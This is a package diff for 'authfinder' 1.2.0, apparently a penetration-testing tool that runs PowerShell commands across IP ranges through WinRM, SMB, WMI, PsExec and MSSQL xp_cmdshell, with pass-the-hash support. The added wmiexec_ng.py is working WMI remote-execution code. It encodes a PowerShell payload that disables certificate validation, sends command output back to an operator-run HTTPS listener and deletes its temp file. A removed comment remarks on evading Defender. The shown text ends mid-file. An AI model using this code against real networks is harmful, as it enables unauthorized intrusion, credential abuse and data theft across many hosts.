authfinder 1.1.4__py3-none-any.whl → 1.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- authfinder/__init__.py +1 -1
- authfinder/authfinder.py +71 -50
- authfinder/wmiexec_ng.py +319 -0
- {authfinder-1.1.4.dist-info → authfinder-1.2.0.dist-info}/METADATA +4 -4
- authfinder-1.2.0.dist-info/RECORD +9 -0
- {authfinder-1.1.4.dist-info → authfinder-1.2.0.dist-info}/WHEEL +1 -1
- {authfinder-1.1.4.dist-info → authfinder-1.2.0.dist-info}/entry_points.txt +1 -0
- authfinder-1.1.4.dist-info/RECORD +0 -8
- {authfinder-1.1.4.dist-info → authfinder-1.2.0.dist-info}/licenses/LICENSE +0 -0
- {authfinder-1.1.4.dist-info → authfinder-1.2.0.dist-info}/top_level.txt +0 -0
authfinder/__init__.py
CHANGED
authfinder/authfinder.py
CHANGED
|
@@ -22,7 +22,7 @@ TOOLS_SPECIFIED = False
|
|
|
22
22
|
LINUX_MODE = False
|
|
23
23
|
|
|
24
24
|
VALID_TOOLS = ["winrm", "smbexec", "wmi", "ssh", "mssql", "psexec", "atexec", "rdp"]
|
|
25
|
-
NXC_TOOLS = {"smbexec", "
|
|
25
|
+
NXC_TOOLS = {"smbexec", "ssh", "rdp"}
|
|
26
26
|
|
|
27
27
|
IMPACKET_PREFIX = "impacket-" # or "" for .py suffix
|
|
28
28
|
NXC_CMD = "nxc"
|
|
@@ -73,7 +73,8 @@ def parse_ip_range(ip_range):
|
|
|
73
73
|
for d in expanded[3]]
|
|
74
74
|
|
|
75
75
|
def is_nthash(credential):
|
|
76
|
-
|
|
76
|
+
"""Check if a credential is an NT hash (32 hex characters)."""
|
|
77
|
+
cred = credential.lstrip(':').replace("'", "").strip()
|
|
77
78
|
if len(cred) == 32:
|
|
78
79
|
try:
|
|
79
80
|
int(cred, 16)
|
|
@@ -87,13 +88,13 @@ def load_credential_file(path):
|
|
|
87
88
|
"""
|
|
88
89
|
Load credentials from file with newline-separated format:
|
|
89
90
|
<user1>
|
|
90
|
-
<
|
|
91
|
+
<user1_password_or_hash>
|
|
91
92
|
<user2>
|
|
92
|
-
<
|
|
93
|
+
<user2_password_or_hash>
|
|
93
94
|
...
|
|
94
95
|
|
|
95
96
|
Blank lines and lines starting with # are ignored.
|
|
96
|
-
|
|
97
|
+
Automatically detects if each credential is a hash or password.
|
|
97
98
|
"""
|
|
98
99
|
try:
|
|
99
100
|
with open(path, "r", encoding="utf-8") as f:
|
|
@@ -115,7 +116,8 @@ def load_credential_file(path):
|
|
|
115
116
|
for i in range(0, len(filtered), 2):
|
|
116
117
|
user = filtered[i].strip()
|
|
117
118
|
cred = filtered[i + 1]
|
|
118
|
-
|
|
119
|
+
is_hash = is_nthash(cred)
|
|
120
|
+
creds.append((user, cred, is_hash))
|
|
119
121
|
|
|
120
122
|
return creds
|
|
121
123
|
|
|
@@ -183,9 +185,8 @@ def scan_ports_for_tools(ip, tool_list):
|
|
|
183
185
|
|
|
184
186
|
return viable_tools, open_ports
|
|
185
187
|
|
|
186
|
-
def build_cmd(tool, user, target, credential, command):
|
|
188
|
+
def build_cmd(tool, user, target, credential, command, use_hash=False):
|
|
187
189
|
b64 = base64.b64encode(command.encode("utf-16le")).decode()
|
|
188
|
-
use_hash = is_nthash(credential)
|
|
189
190
|
hash_val = credential.lstrip(':')
|
|
190
191
|
|
|
191
192
|
# For nxc tools, add --no-output unless -o was passed
|
|
@@ -209,6 +210,13 @@ def build_cmd(tool, user, target, credential, command):
|
|
|
209
210
|
return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
|
|
210
211
|
if use_hash else
|
|
211
212
|
f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
|
|
213
|
+
|
|
214
|
+
if tool == "wmi":
|
|
215
|
+
# Use wmiexec-ng for WMI execution (uses HTTPS callback for output retrieval)
|
|
216
|
+
output_flag = " -o" if OUTPUT else ""
|
|
217
|
+
return (f"wmiexec-ng {target} -u \"{user}\" -H {hash_val} -x 'powershell -enc {b64}'{output_flag}"
|
|
218
|
+
if use_hash else
|
|
219
|
+
f"wmiexec-ng {target} -u \"{user}\" -p {credential} -x 'powershell -enc {b64}'{output_flag}")
|
|
212
220
|
|
|
213
221
|
# winrm handling - both regular and SSL variants
|
|
214
222
|
# yes I know nxc has a winrm module which can oneshot commands, but evil-winrm has proved itself more dependable
|
|
@@ -228,13 +236,6 @@ def build_cmd(tool, user, target, credential, command):
|
|
|
228
236
|
if use_hash else
|
|
229
237
|
f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
|
|
230
238
|
|
|
231
|
-
if tool == "wmi":
|
|
232
|
-
# we don't actually need to pass the --no-output here, as defender won't catch it with this specific `cmd /c "powershell -enc` combo
|
|
233
|
-
# additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution for wmi specifically
|
|
234
|
-
return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'"
|
|
235
|
-
if use_hash else
|
|
236
|
-
f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'")
|
|
237
|
-
|
|
238
239
|
if tool == "ssh":
|
|
239
240
|
if LINUX_MODE:
|
|
240
241
|
b64 = base64.b64encode(command.encode("utf-8")).decode()
|
|
@@ -248,7 +249,7 @@ def build_cmd(tool, user, target, credential, command):
|
|
|
248
249
|
|
|
249
250
|
raise Exception(f"Unknown tool: {tool}")
|
|
250
251
|
|
|
251
|
-
def run_chain(user, ip, credential, command, tool_list=None):
|
|
252
|
+
def run_chain(user, ip, credential, command, use_hash=False, tool_list=None):
|
|
252
253
|
chain = tool_list if tool_list else VALID_TOOLS
|
|
253
254
|
|
|
254
255
|
# test both winrm types
|
|
@@ -263,7 +264,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
|
|
|
263
264
|
|
|
264
265
|
for tool in chain:
|
|
265
266
|
# Can't pass the hash with SSH
|
|
266
|
-
if tool == "ssh" and
|
|
267
|
+
if tool == "ssh" and use_hash:
|
|
267
268
|
safe_print(f" [-] Skipping SSH for {ip}: cannot pass the hash.")
|
|
268
269
|
continue
|
|
269
270
|
|
|
@@ -274,7 +275,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
|
|
|
274
275
|
if tool == "mssql":
|
|
275
276
|
safe_print(f"[*] Attempting to enable xp_cmdshell on {ip}...")
|
|
276
277
|
|
|
277
|
-
cmd = build_cmd(tool, user, ip, credential, command)
|
|
278
|
+
cmd = build_cmd(tool, user, ip, credential, command, use_hash)
|
|
278
279
|
safe_print(f"[*] Trying {tool}: {cmd}")
|
|
279
280
|
|
|
280
281
|
try:
|
|
@@ -364,7 +365,7 @@ def run_chain(user, ip, credential, command, tool_list=None):
|
|
|
364
365
|
|
|
365
366
|
return None
|
|
366
367
|
|
|
367
|
-
def execute_on_ip(username, ip, credential, command, tool_list=None):
|
|
368
|
+
def execute_on_ip(username, ip, credential, command, use_hash=False, tool_list=None):
|
|
368
369
|
|
|
369
370
|
if SKIP_PORTSCAN:
|
|
370
371
|
safe_print(f"[*] Skipping portscan for {ip} (--skip-portscan enabled)")
|
|
@@ -384,7 +385,7 @@ def execute_on_ip(username, ip, credential, command, tool_list=None):
|
|
|
384
385
|
display_tools = list(dict.fromkeys(display_tools))
|
|
385
386
|
safe_print(f" \033[34m[i]\033[0m Viable tools found for {ip} based on portscan: {', '.join(display_tools)}")
|
|
386
387
|
|
|
387
|
-
result = run_chain(username, ip, credential, command, viable_tools)
|
|
388
|
+
result = run_chain(username, ip, credential, command, use_hash, viable_tools)
|
|
388
389
|
|
|
389
390
|
if RUN_ALL:
|
|
390
391
|
safe_print(f"[*] All tools successfully run for {ip} with {username}.")
|
|
@@ -406,32 +407,38 @@ def parse_args():
|
|
|
406
407
|
parser = argparse.ArgumentParser(
|
|
407
408
|
description="Execute commands across an IP range using multiple Windows RCE methods",
|
|
408
409
|
formatter_class=argparse.RawTextHelpFormatter,
|
|
409
|
-
usage="%(prog)s ip_range
|
|
410
|
+
usage="%(prog)s ip_range -u USER -p PASS [-c PSCMD] [-h] [-v] [-o] [--threads NUM_THREADS] [--timeout SECONDS] [--tools LIST] [--run-all] [--skip-portscan]\n %(prog)s ip_range -u USER -H HASH [-c PSCMD] [...]\n %(prog)s ip_range -f CRED_FILE [-c PSCMD] [...]"
|
|
410
411
|
)
|
|
411
412
|
|
|
412
413
|
parser.add_argument("-v", action="store_true", help="Verbose output")
|
|
413
414
|
parser.add_argument("-o", action="store_true", help="Show successful command output")
|
|
414
|
-
parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=
|
|
415
|
+
parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=None, help="Number of concurrent threads (default: 10, or fewer if less tasks)")
|
|
415
416
|
parser.add_argument("--timeout", metavar="TIMEOUT_SECONDS", type=int, default=15, help="Number of seconds before commands timeout")
|
|
416
417
|
parser.add_argument("--tools", metavar="LIST", help="Comma-separated list of tools to try")
|
|
417
418
|
parser.add_argument("--run-all", action="store_true", help="Run all tools, often running the desired command multiple times")
|
|
418
419
|
parser.add_argument("--skip-portscan", action="store_true", help="Skip port scanning and attempt all tools")
|
|
419
|
-
parser.add_argument("-f", "--file", metavar="CRED_FILE", help="Credential file (newline-separated user/password pairs)")
|
|
420
|
+
parser.add_argument("-f", "--file", metavar="CRED_FILE", help="Credential file (newline-separated user/password or user/hash pairs; hashes auto-detected)")
|
|
420
421
|
|
|
421
422
|
parser.add_argument("--linux", action="store_true", help="Linux-only mode - automates SSH, ignores other tools")
|
|
422
423
|
|
|
423
424
|
parser.add_argument("ip_range", help="IP range (e.g., 192.168.1.1-254)")
|
|
424
|
-
parser.add_argument("
|
|
425
|
-
parser.add_argument("
|
|
426
|
-
parser.add_argument("
|
|
425
|
+
parser.add_argument("-u", "--user", metavar="USERNAME", help="Username")
|
|
426
|
+
parser.add_argument("-p", "--password", metavar="PASSWORD", help="Password")
|
|
427
|
+
parser.add_argument("-H", "--hash", metavar="HASH", help="NT hash")
|
|
428
|
+
parser.add_argument("-c", "--command", metavar="PSCMD", help="Powershell command to run (default: whoami)")
|
|
427
429
|
|
|
428
430
|
args = parser.parse_args()
|
|
429
431
|
|
|
430
|
-
if args.file and (args.
|
|
431
|
-
parser.error("Cannot specify
|
|
432
|
+
if args.file and (args.user or args.password or args.hash):
|
|
433
|
+
parser.error("Cannot specify -u/-p/-H when using -f")
|
|
432
434
|
|
|
433
|
-
if not args.file
|
|
434
|
-
|
|
435
|
+
if not args.file:
|
|
436
|
+
if not args.user:
|
|
437
|
+
parser.error("Must supply either -f FILE or -u USER")
|
|
438
|
+
if not args.password and not args.hash:
|
|
439
|
+
parser.error("Must supply either -p PASSWORD or -H HASH with -u USER")
|
|
440
|
+
if args.password and args.hash:
|
|
441
|
+
parser.error("Cannot specify both -p and -H")
|
|
435
442
|
|
|
436
443
|
return args
|
|
437
444
|
|
|
@@ -441,6 +448,8 @@ def check_dependencies():
|
|
|
441
448
|
"""Check if required tools are installed."""
|
|
442
449
|
global IMPACKET_PREFIX, NXC_CMD, WINRM_CMD
|
|
443
450
|
|
|
451
|
+
missing_tools = []
|
|
452
|
+
|
|
444
453
|
# Check impacket (either impacket-psexec or psexec.py)
|
|
445
454
|
r1 = shutil.which("impacket-psexec")
|
|
446
455
|
r2 = shutil.which("psexec.py")
|
|
@@ -448,9 +457,8 @@ def check_dependencies():
|
|
|
448
457
|
IMPACKET_PREFIX = "impacket-"
|
|
449
458
|
elif r2:
|
|
450
459
|
IMPACKET_PREFIX = ""
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
sys.exit(1)
|
|
460
|
+
else:
|
|
461
|
+
missing_tools.append("impacket")
|
|
454
462
|
|
|
455
463
|
# Check nxc/crackmapexec
|
|
456
464
|
r1 = shutil.which("nxc")
|
|
@@ -463,20 +471,27 @@ def check_dependencies():
|
|
|
463
471
|
elif r3:
|
|
464
472
|
NXC_CMD = "crackmapexec"
|
|
465
473
|
else:
|
|
466
|
-
|
|
467
|
-
sys.exit(1)
|
|
474
|
+
missing_tools.append("nxc")
|
|
468
475
|
|
|
469
476
|
# Check evil-winrm
|
|
470
477
|
if shutil.which("evil-winrm"):
|
|
471
478
|
WINRM_CMD = "evil-winrm"
|
|
472
|
-
|
|
479
|
+
elif os.path.isdir("/usr/local/rvm/gems"):
|
|
473
480
|
# default in exegol
|
|
474
|
-
|
|
475
|
-
for d in os.listdir(base):
|
|
481
|
+
for d in os.listdir("/usr/local/rvm/gems"):
|
|
476
482
|
if d.endswith("@evil-winrm"):
|
|
477
|
-
WINRM_CMD = f"
|
|
478
|
-
|
|
479
|
-
|
|
483
|
+
WINRM_CMD = f"/usr/local/rvm/gems/{d}/wrappers/evil-winrm"
|
|
484
|
+
else:
|
|
485
|
+
missing_tools.append("evil-winrm")
|
|
486
|
+
|
|
487
|
+
if not missing_tools == []:
|
|
488
|
+
for tool in missing_tools:
|
|
489
|
+
if tool == "nxc":
|
|
490
|
+
print("[-] netexec not found. Install with: pipx install git+https://github.com/Pennyw0rth/NetExec")
|
|
491
|
+
if tool == "impacket" and not LINUX_MODE:
|
|
492
|
+
print("[-] impacket not found. Install with: pipx install impacket")
|
|
493
|
+
if tool == "evil-winrm" and not LINUX_MODE:
|
|
494
|
+
print("[-] evil-winrm not found. Please install with gem install evil-winrm")
|
|
480
495
|
sys.exit(1)
|
|
481
496
|
|
|
482
497
|
def impacket_cmd(tool):
|
|
@@ -488,22 +503,26 @@ def impacket_cmd(tool):
|
|
|
488
503
|
def main():
|
|
489
504
|
global VERBOSE, OUTPUT, MAX_THREADS, EXEC_TIMEOUT, RUN_ALL, SKIP_PORTSCAN, TOOLS_SPECIFIED, LINUX_MODE
|
|
490
505
|
|
|
491
|
-
check_dependencies()
|
|
492
|
-
|
|
493
506
|
args = parse_args()
|
|
494
507
|
|
|
495
508
|
VERBOSE = args.v
|
|
496
509
|
OUTPUT = args.o
|
|
497
|
-
MAX_THREADS = args.threads if args.threads > 0 else 1
|
|
498
510
|
EXEC_TIMEOUT = args.timeout
|
|
499
511
|
RUN_ALL = args.run_all
|
|
500
512
|
SKIP_PORTSCAN = args.skip_portscan
|
|
501
513
|
LINUX_MODE = args.linux
|
|
502
514
|
|
|
515
|
+
check_dependencies()
|
|
516
|
+
|
|
517
|
+
# Determine credentials
|
|
503
518
|
if args.file:
|
|
519
|
+
# Auto-detect hashes in credential file
|
|
504
520
|
credential_list = load_credential_file(args.file)
|
|
505
521
|
else:
|
|
506
|
-
|
|
522
|
+
if args.hash:
|
|
523
|
+
credential_list = [(args.user, args.hash, True)]
|
|
524
|
+
else:
|
|
525
|
+
credential_list = [(args.user, args.password, False)]
|
|
507
526
|
|
|
508
527
|
if args.ip_range.endswith('.txt'):
|
|
509
528
|
ips = []
|
|
@@ -515,8 +534,10 @@ def main():
|
|
|
515
534
|
else:
|
|
516
535
|
ips = parse_ip_range(args.ip_range)
|
|
517
536
|
|
|
518
|
-
if
|
|
519
|
-
MAX_THREADS =
|
|
537
|
+
if args.threads is not None:
|
|
538
|
+
MAX_THREADS = max(args.threads, 1)
|
|
539
|
+
else:
|
|
540
|
+
MAX_THREADS = min(10, len(ips))
|
|
520
541
|
|
|
521
542
|
print(f"[*] Loaded {len(credential_list)} credential set(s)")
|
|
522
543
|
print(f"[*] Processing {len(ips)} IPs with {MAX_THREADS} threads...")
|
|
@@ -536,7 +557,7 @@ def main():
|
|
|
536
557
|
if args.skip_portscan:
|
|
537
558
|
print("\033[33m[!] Port scanning disabled (--skip-portscan). All tools will be attempted.\033[0m")
|
|
538
559
|
|
|
539
|
-
command =
|
|
560
|
+
command = args.command if args.command else "whoami"
|
|
540
561
|
|
|
541
562
|
if not OUTPUT:
|
|
542
563
|
print("\033[33m[!] Output Disabled. Run with -o to see successful command output\033[0m")
|
|
@@ -548,10 +569,10 @@ def main():
|
|
|
548
569
|
futures = []
|
|
549
570
|
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
|
550
571
|
for ip in ips:
|
|
551
|
-
for (user, cred) in credential_list:
|
|
572
|
+
for (user, cred, is_hash) in credential_list:
|
|
552
573
|
cred = shlex.quote(cred)
|
|
553
574
|
futures.append(
|
|
554
|
-
executor.submit(execute_on_ip, user, ip, cred, command, tool_list)
|
|
575
|
+
executor.submit(execute_on_ip, user, ip, cred, command, is_hash, tool_list)
|
|
555
576
|
)
|
|
556
577
|
|
|
557
578
|
for future in as_completed(futures):
|
authfinder/wmiexec_ng.py
ADDED
|
@@ -0,0 +1,319 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
WMI process execution with HTTPS-based output retrieval.
|
|
4
|
+
Requires: pip install impacket
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
import sys
|
|
8
|
+
import os
|
|
9
|
+
import ssl
|
|
10
|
+
import uuid
|
|
11
|
+
import socket
|
|
12
|
+
import random
|
|
13
|
+
import argparse
|
|
14
|
+
import tempfile
|
|
15
|
+
import threading
|
|
16
|
+
import subprocess
|
|
17
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
18
|
+
from impacket.dcerpc.v5.dcom import wmi
|
|
19
|
+
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
20
|
+
from impacket.dcerpc.v5.dtypes import NULL
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
# Globals for server coordination
|
|
24
|
+
output_received = threading.Event()
|
|
25
|
+
output_data = b""
|
|
26
|
+
verbose = False
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def log(msg: str):
|
|
30
|
+
"""Print message only if verbose mode is enabled."""
|
|
31
|
+
if verbose:
|
|
32
|
+
print(msg)
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def get_local_ip(target: str) -> str:
|
|
36
|
+
"""Get the local IP address used to reach a target."""
|
|
37
|
+
try:
|
|
38
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
39
|
+
s.connect((target, 80))
|
|
40
|
+
local_ip = s.getsockname()[0]
|
|
41
|
+
s.close()
|
|
42
|
+
return local_ip
|
|
43
|
+
except Exception:
|
|
44
|
+
return "127.0.0.1"
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def find_available_port(start: int = 10000, end: int = 30000) -> int:
|
|
48
|
+
"""Find an available port in the given range, retrying every second."""
|
|
49
|
+
while True:
|
|
50
|
+
port = random.randint(start, end)
|
|
51
|
+
try:
|
|
52
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
53
|
+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
54
|
+
s.bind(("0.0.0.0", port))
|
|
55
|
+
s.close()
|
|
56
|
+
log(f"[*] Found available port: {port}")
|
|
57
|
+
return port
|
|
58
|
+
except OSError:
|
|
59
|
+
log(f"[*] Port {port} unavailable, retrying...")
|
|
60
|
+
import time
|
|
61
|
+
time.sleep(1)
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
def generate_ssl_cert(cert_file: str, key_file: str):
|
|
65
|
+
"""Generate a self-signed SSL certificate using openssl."""
|
|
66
|
+
log("[*] Generating SSL certificate...")
|
|
67
|
+
cmd = [
|
|
68
|
+
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
69
|
+
"-keyout", key_file,
|
|
70
|
+
"-out", cert_file,
|
|
71
|
+
"-days", "1", "-nodes",
|
|
72
|
+
"-subj", "/CN=localhost"
|
|
73
|
+
]
|
|
74
|
+
try:
|
|
75
|
+
subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
76
|
+
log("[*] SSL certificate generated")
|
|
77
|
+
except subprocess.CalledProcessError:
|
|
78
|
+
print("[!] Failed to generate SSL certificate (is openssl installed?)")
|
|
79
|
+
sys.exit(1)
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
class OutputHandler(BaseHTTPRequestHandler):
|
|
83
|
+
"""HTTP handler for receiving command output via POST."""
|
|
84
|
+
|
|
85
|
+
def do_POST(self):
|
|
86
|
+
global output_data
|
|
87
|
+
try:
|
|
88
|
+
content_length = int(self.headers.get("Content-Length", 0))
|
|
89
|
+
output_data = self.rfile.read(content_length)
|
|
90
|
+
self.send_response(200)
|
|
91
|
+
self.end_headers()
|
|
92
|
+
self.wfile.write(b"OK")
|
|
93
|
+
output_received.set()
|
|
94
|
+
except Exception as e:
|
|
95
|
+
log(f"[!] Error receiving output: {e}")
|
|
96
|
+
self.send_response(500)
|
|
97
|
+
self.end_headers()
|
|
98
|
+
|
|
99
|
+
def log_message(self, format, *args):
|
|
100
|
+
if verbose:
|
|
101
|
+
super().log_message(format, *args)
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def start_https_server(port: int, cert_file: str, key_file: str) -> HTTPServer:
|
|
105
|
+
"""Start HTTPS server for receiving output."""
|
|
106
|
+
server = HTTPServer(("0.0.0.0", port), OutputHandler)
|
|
107
|
+
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
108
|
+
context.load_cert_chain(cert_file, key_file)
|
|
109
|
+
server.socket = context.wrap_socket(server.socket, server_side=True)
|
|
110
|
+
return server
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def build_powershell_command(command: str, output_file: str, server_url: str) -> str:
|
|
114
|
+
"""Build the PowerShell script that executes command and uploads output."""
|
|
115
|
+
import base64
|
|
116
|
+
|
|
117
|
+
# Base64 encode the user's command (UTF-16LE for PowerShell -enc)
|
|
118
|
+
user_cmd_encoded = base64.b64encode(command.encode("utf-16-le")).decode("ascii")
|
|
119
|
+
|
|
120
|
+
# PowerShell script with TLS cert bypass
|
|
121
|
+
# Executes user command via -enc, captures output, uploads via HTTPS
|
|
122
|
+
ps_script = f'''
|
|
123
|
+
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
124
|
+
Add-Type @"
|
|
125
|
+
using System.Net;
|
|
126
|
+
using System.Security.Cryptography.X509Certificates;
|
|
127
|
+
public class TrustAllCertsPolicy : ICertificatePolicy {{
|
|
128
|
+
public bool CheckValidationResult(
|
|
129
|
+
ServicePoint srvPoint, X509Certificate certificate,
|
|
130
|
+
WebRequest request, int certificateProblem) {{
|
|
131
|
+
return true;
|
|
132
|
+
}}
|
|
133
|
+
}}
|
|
134
|
+
"@
|
|
135
|
+
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
|
136
|
+
|
|
137
|
+
powershell.exe -enc {user_cmd_encoded} | Out-File -FilePath "{output_file}" -Encoding UTF8
|
|
138
|
+
$bytes = [System.IO.File]::ReadAllBytes("{output_file}")
|
|
139
|
+
Invoke-WebRequest -Uri "{server_url}" -Method POST -Body $bytes -UseBasicParsing | Out-Null
|
|
140
|
+
Remove-Item -Path "{output_file}" -Force
|
|
141
|
+
'''
|
|
142
|
+
# Encode wrapper script as base64 for safe transport
|
|
143
|
+
encoded = base64.b64encode(ps_script.encode("utf-16-le")).decode("ascii")
|
|
144
|
+
return f'powershell.exe -EncodedCommand {encoded}'
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
def wmi_exec(target: str, username: str, password: str, command: str,
|
|
148
|
+
domain: str = "", hashes: str = "", get_output: bool = False,
|
|
149
|
+
timeout: int = 30) -> str | None:
|
|
150
|
+
"""
|
|
151
|
+
Execute a command via WMI.
|
|
152
|
+
|
|
153
|
+
Args:
|
|
154
|
+
target: Target IP or hostname
|
|
155
|
+
username: Username for authentication
|
|
156
|
+
password: Password for authentication
|
|
157
|
+
command: Command to execute
|
|
158
|
+
domain: Domain (optional)
|
|
159
|
+
hashes: NTLM hashes in LMHASH:NTHASH format (optional, for pass-the-hash)
|
|
160
|
+
get_output: Whether to retrieve command output via HTTPS
|
|
161
|
+
timeout: Timeout in seconds for output retrieval
|
|
162
|
+
|
|
163
|
+
Returns:
|
|
164
|
+
Command output if get_output=True, None otherwise
|
|
165
|
+
"""
|
|
166
|
+
global output_data, output_received
|
|
167
|
+
|
|
168
|
+
# Parse hashes if provided
|
|
169
|
+
lmhash = ""
|
|
170
|
+
nthash = ""
|
|
171
|
+
if hashes:
|
|
172
|
+
if ":" in hashes:
|
|
173
|
+
lmhash, nthash = hashes.split(":", 1)
|
|
174
|
+
else:
|
|
175
|
+
# Assume it's just the NT hash
|
|
176
|
+
nthash = hashes
|
|
177
|
+
|
|
178
|
+
# Reset globals
|
|
179
|
+
output_data = b""
|
|
180
|
+
output_received.clear()
|
|
181
|
+
|
|
182
|
+
server = None
|
|
183
|
+
server_thread = None
|
|
184
|
+
temp_dir = None
|
|
185
|
+
|
|
186
|
+
try:
|
|
187
|
+
if get_output:
|
|
188
|
+
# Setup HTTPS server for output retrieval
|
|
189
|
+
temp_dir = tempfile.mkdtemp()
|
|
190
|
+
cert_file = os.path.join(temp_dir, "cert.pem")
|
|
191
|
+
key_file = os.path.join(temp_dir, "key.pem")
|
|
192
|
+
|
|
193
|
+
generate_ssl_cert(cert_file, key_file)
|
|
194
|
+
|
|
195
|
+
port = find_available_port()
|
|
196
|
+
local_ip = get_local_ip(target)
|
|
197
|
+
server_url = f"https://{local_ip}:{port}/"
|
|
198
|
+
|
|
199
|
+
log(f"[*] Starting HTTPS server on {local_ip}:{port}")
|
|
200
|
+
server = start_https_server(port, cert_file, key_file)
|
|
201
|
+
|
|
202
|
+
# Run server in background thread
|
|
203
|
+
server_thread = threading.Thread(target=server.handle_request, daemon=True)
|
|
204
|
+
server_thread.start()
|
|
205
|
+
|
|
206
|
+
# Build PowerShell command with output upload
|
|
207
|
+
output_file = f"C:\\Windows\\Temp\\{uuid.uuid4()}.txt"
|
|
208
|
+
full_command = build_powershell_command(command, output_file, server_url)
|
|
209
|
+
log(f"[*] Output will be uploaded to {server_url}")
|
|
210
|
+
else:
|
|
211
|
+
full_command = command
|
|
212
|
+
|
|
213
|
+
# Connect via DCOM
|
|
214
|
+
log(f"[*] Connecting to {target}...")
|
|
215
|
+
dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
|
|
216
|
+
|
|
217
|
+
try:
|
|
218
|
+
# Get WMI interface
|
|
219
|
+
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
|
220
|
+
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
221
|
+
|
|
222
|
+
# Login to namespace
|
|
223
|
+
iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
|
224
|
+
iWbemLevel1Login.RemRelease()
|
|
225
|
+
|
|
226
|
+
# Get Win32_Process class
|
|
227
|
+
win32_process, _ = iWbemServices.GetObject("Win32_Process")
|
|
228
|
+
|
|
229
|
+
# Call Create method
|
|
230
|
+
log(f"[*] Executing command...")
|
|
231
|
+
win32_process.Create(full_command, "C:\\", None)
|
|
232
|
+
|
|
233
|
+
if not get_output:
|
|
234
|
+
print(f"[+] Executed: {command}")
|
|
235
|
+
return None
|
|
236
|
+
|
|
237
|
+
finally:
|
|
238
|
+
dcom.disconnect()
|
|
239
|
+
|
|
240
|
+
# Wait for output
|
|
241
|
+
if get_output:
|
|
242
|
+
log(f"[*] Waiting for output (timeout: {timeout}s)...")
|
|
243
|
+
if output_received.wait(timeout=timeout):
|
|
244
|
+
result = output_data.decode("utf-8", errors="replace")
|
|
245
|
+
# Strip BOM and whitespace
|
|
246
|
+
result = result.lstrip("\ufeff").strip()
|
|
247
|
+
print(result)
|
|
248
|
+
return result
|
|
249
|
+
else:
|
|
250
|
+
print("[!] Timeout waiting for output")
|
|
251
|
+
return None
|
|
252
|
+
|
|
253
|
+
finally:
|
|
254
|
+
# Cleanup
|
|
255
|
+
if server:
|
|
256
|
+
server.server_close()
|
|
257
|
+
if temp_dir:
|
|
258
|
+
import shutil
|
|
259
|
+
shutil.rmtree(temp_dir, ignore_errors=True)
|
|
260
|
+
|
|
261
|
+
|
|
262
|
+
def main():
|
|
263
|
+
global verbose
|
|
264
|
+
|
|
265
|
+
parser = argparse.ArgumentParser(
|
|
266
|
+
description="WMI remote command execution with optional output retrieval",
|
|
267
|
+
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
268
|
+
epilog="""
|
|
269
|
+
Examples:
|
|
270
|
+
# Execute with password
|
|
271
|
+
%(prog)s 192.168.1.10 -u Administrator -p 'password' -x 'whoami' -o
|
|
272
|
+
|
|
273
|
+
# Pass-the-hash
|
|
274
|
+
%(prog)s 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'whoami' -o
|
|
275
|
+
|
|
276
|
+
# Blank password (if neither -p nor -H supplied)
|
|
277
|
+
%(prog)s 192.168.1.10 -u Administrator -x 'whoami' -o
|
|
278
|
+
|
|
279
|
+
# With domain
|
|
280
|
+
%(prog)s 192.168.1.10 -u Administrator -p 'password' -d MYDOMAIN -x 'whoami' -o
|
|
281
|
+
"""
|
|
282
|
+
)
|
|
283
|
+
|
|
284
|
+
parser.add_argument("target", help="Target IP or hostname")
|
|
285
|
+
parser.add_argument("-u", "--username", required=True, help="Username")
|
|
286
|
+
parser.add_argument("-p", "--password", default="", help="Password")
|
|
287
|
+
parser.add_argument("-H", "--hashes", metavar="[LMHASH:]NTHASH",
|
|
288
|
+
help="NTLM hashes for pass-the-hash")
|
|
289
|
+
